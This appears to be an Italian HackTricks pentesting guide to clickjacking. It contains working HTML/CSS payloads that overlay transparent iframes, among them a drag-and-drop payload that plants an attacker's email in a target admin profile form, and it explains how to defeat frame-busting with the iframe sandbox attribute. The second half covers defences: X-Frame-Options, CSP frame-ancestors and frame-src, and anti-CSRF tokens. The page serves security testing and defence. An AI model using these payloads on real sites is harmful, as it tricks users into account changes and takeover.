hacktricks/pentesting-web/clickjacking.md

12 KiB

Clickjacking

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:


Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}

Cos'è il Clickjacking

In un attacco di clickjacking, un utente viene ingannato a cliccare su un elemento in una pagina web che è invisibile o mascherato come un elemento diverso. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web dannose, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.

Trucco per precompilare moduli

A volte è possibile riempire il valore dei campi di un modulo utilizzando i parametri GET durante il caricamento di una pagina. Un attaccante potrebbe abusare di questo comportamento per compilare un modulo con dati arbitrari e inviare il payload di clickjacking in modo che l'utente prema il pulsante Invia.

Compilare il modulo con Drag&Drop

Se hai bisogno che l'utente compili un modulo ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email e/o la password specifica che conosci), puoi semplicemente chiedergli di Trascinare e rilasciare qualcosa che scriverà i tuoi dati controllati come in questo esempio.

Payload di base

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload a più passaggi

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Payload Drag&Drop + Click

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se hai identificato un attacco XSS che richiede all'utente di fare clic su un elemento per attivare l'XSS e la pagina è vulnerabile al clickjacking, potresti sfruttarlo per ingannare l'utente affinché faccia clic sul pulsante/link.
Esempio:
Hai trovato un self XSS in alcuni dettagli privati dell'account (dettagli che solo tu puoi impostare e leggere). La pagina con il modulo per impostare questi dettagli è vulnerabile al Clickjacking e puoi prepopolare il modulo con i parametri GET.
__Un attaccante potrebbe preparare un attacco di Clickjacking a quella pagina prepopolando il modulo con il payload XSS e ingannando l'utente affinché invii il modulo. Quindi, quando il modulo viene inviato e i valori vengono modificati, l'utente eseguirà l'XSS.

Strategie per Mitigare il Clickjacking

Difese Lato Client

Gli script eseguiti lato client possono eseguire azioni per prevenire il Clickjacking:

  • Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
  • Rendere tutti i frame visibili.
  • Impedire clic sui frame invisibili.
  • Rilevare e avvisare gli utenti di possibili tentativi di Clickjacking.

Tuttavia, questi script di frame-busting potrebbero essere elusi:

  • Impostazioni di Sicurezza dei Browser: Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto JavaScript.
  • Attributo HTML5 iframe sandbox: Un attaccante può neutralizzare gli script di frame buster impostando l'attributo sandbox con i valori allow-forms o allow-scripts senza allow-top-navigation. Questo impedisce all'iframe di verificare se è la finestra principale, ad esempio,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

I valori allow-forms e allow-scripts abilitano azioni all'interno dell'iframe disabilitando la navigazione di alto livello. Per garantire la funzionalità prevista del sito preso di mira, potrebbero essere necessarie autorizzazioni aggiuntive come allow-same-origin e allow-modals, a seconda del tipo di attacco. I messaggi nella console del browser possono guidare su quali autorizzazioni consentire.

Difese lato server

X-Frame-Options

L'header di risposta HTTP X-Frame-Options informa i browser sulla legittimità del rendering di una pagina in un <frame> o <iframe>, contribuendo a prevenire il Clickjacking:

  • X-Frame-Options: deny - Nessun dominio può inquadrare il contenuto.
  • X-Frame-Options: sameorigin - Solo il sito corrente può inquadrare il contenuto.
  • X-Frame-Options: allow-from https://trusted.com - Solo l'URI specificato può inquadrare la pagina.
  • Notare le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva frame-ancestors di CSP.

Direttiva frame-ancestors di Content Security Policy (CSP)

La direttiva frame-ancestors in CSP è il metodo consigliato per la protezione dal Clickjacking:

  • frame-ancestors 'none' - Simile a X-Frame-Options: deny.
  • frame-ancestors 'self' - Simile a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Simile a X-Frame-Options: allow-from.

Ad esempio, la seguente CSP consente solo l'inquadratura dallo stesso dominio:

Content-Security-Policy: frame-ancestors 'self';

Ulteriori dettagli e esempi complessi possono essere trovati nella documentazione CSP frame-ancestors e nella documentazione Mozilla CSP frame-ancestors.

Content Security Policy (CSP) con child-src e frame-src

Content Security Policy (CSP) è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando da quali fonti il browser dovrebbe consentire il caricamento di contenuti.

Direttiva frame-src

  • Definisce le fonti valide per i frame.
  • Più specifica della direttiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Questo policy consente frame dalla stessa origine (self) e da https://trusted-website.com.

Direttiva child-src

  • Introdotto in CSP livello 2 per impostare origini valide per i web worker e i frame.
  • Funziona come fallback per frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Questo policy consente frame e workers dalla stessa origine (self) e da https://trusted-website.com.

Note sull'Utilizzo:

  • Deprecazione: child-src sta venendo gradualmente sostituito da frame-src e worker-src.
  • Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src.
  • Definizione di Origine Rigorosa: Includere solo origini attendibili nelle direttive per prevenire l'exploit.

Script JavaScript di Rottura Frame

Anche se non completamente sicuri, gli script di rottura frame basati su JavaScript possono essere utilizzati per impedire che una pagina web venga inserita in un frame. Esempio:

if (top !== self) {
top.location = self.location;
}

Utilizzo dei Token Anti-CSRF

  • Validazione del Token: Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non attraverso una pagina Clickjacked.

Riferimenti


Utilizza Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: